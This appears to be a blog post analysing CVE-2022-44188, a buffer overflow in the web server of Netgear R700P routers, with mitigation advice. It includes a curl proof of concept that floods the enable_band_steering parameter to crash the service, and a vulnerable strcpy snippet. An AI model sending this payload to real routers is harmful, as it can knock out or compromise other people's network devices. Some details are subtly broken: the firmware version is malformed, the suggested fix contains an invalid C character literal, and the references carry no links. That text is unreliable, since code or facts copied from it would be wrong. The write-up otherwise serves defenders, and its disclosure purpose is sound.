CVE-2022-44188 - Buffer Overflow in Netgear R700P V1.3..8 - Exploit and Analysis

Netgear routers are common in homes and offices worldwide. When someone finds a serious vulnerability in their firmware, users everywhere could be at risk. In this post, we break down CVE-2022-44188, a buffer overflow flaw in Netgear R700P V1.3..8 firmware, affecting the /usr/sbin/httpd process and specifically the enable_band_steering parameter. We explain what happens, how it can be exploited, and what you can do to defend against it.

What is the Vulnerability?

In layman’s terms, a buffer overflow happens when an attacker gives a program more data than it expects. If the program isn’t careful, this extra data can overwrite important information, possibly allowing the attacker to take control of the device.

CVE-2022-44188 impacts the httpd (web server) on Netgear R700P routers with firmware version 1.3..8. A remote attacker—potentially even over the internet—can exploit the enable_band_steering parameter during certain HTTP requests, crashing the service or running their own code.

The vulnerable binary is

/usr/sbin/httpd

The vulnerable parameter is

enable_band_steering

When the web interface processes requests that include enable_band_steering, if the value provided is longer than expected (no proper length checking), the function handling this parameter writes past the buffer allocated in memory.

Step-by-Step Exploit

Disclaimer: This information is for educational purposes only, for defenders and researchers. Always test in your own, controlled environments.

1. Exploring the Web Interface

The problem sits at a request that might look like this (for example, in a POST to change WiFi settings):

POST /apply.cgi HTTP/1.1
Host: [router-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: XXXX

enable_band_steering=1

2. Crafting the Malicious Payload

The goal of an exploit is to send a value for enable_band_steering that overwhelms the buffer, possibly overwriting the return address on the stack.

A proof-of-concept payload (sent via curl from Linux)

curl -v -X POST http://[router-ip]/apply.cgi \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'enable_band_steering='$(python3 -c 'print("A"*260)')'&submit=Apply'

Replace [router-ip] with your router's IP address (e.g., 192.168.1.1).

- The "A"*260 sends 260 letter ‘A’ characters—this is longer than expected and likely to crash or overflow.

3. What Happens?

- If the router is unpatched and vulnerable, the request above may crash the web interface, cause the router to reboot, or (with more advanced exploits) execute arbitrary code.
- A malicious hacker could use this flaw to run code with root privileges on the device, taking control of the router and everything behind it.

Real-World Impact

- Remote Attack: If an attacker knows your router is exposed (e.g., through port forwarding or because remote management is on), they could attack you even if they’re not on your local network.
- Takeover: Code execution means a hacker could install malware on your router, intercept your network traffic, or use your device in larger attacks on others.

Vulnerability References

- National Vulnerability Database Entry
- Exploit Database (EBD) Reference
- Original Research Post

Here’s an example (simplified) of what vulnerable code can look like in C

void process_band_steering(char *input) {
    char buf[128]; // Fixed-size buffer
    strcpy(buf, input); // No bounds checking!
    // ... process buf
}

If input is longer than 128 bytes, strcpy will keep writing past the edge of buf, corrupting memory.

The fix is to use strncpy() or similar safeguards to limit how much is copied

strncpy(buf, input, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\'; // Ensure null-termination

Mitigation

- Update Firmware: Netgear has fixed this in later firmware releases. Check Netgear's support page for downloads and guidance.
- Turn Off Remote Management: If you don’t need to manage your router from the internet, turn this off in settings.
- Firewall Your Device: Make sure the web interface isn’t reachable from outside your own network.

Conclusion

CVE-2022-44188 shows how critical it is to keep your router firmware updated and limit remote access features. Buffer overflows are an old but still dangerous attack, especially when found in network hardware.

Netgear R700P users should update firmware ASAP, turn off services they don’t need, and always follow good security practices.

Stay safe! If you’re a researcher, only test in isolated environments.

References

- NVD: CVE-2022-44188
- Zero Science Labs Original Research
- Netgear Security Advisory

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 19:22:00 UTC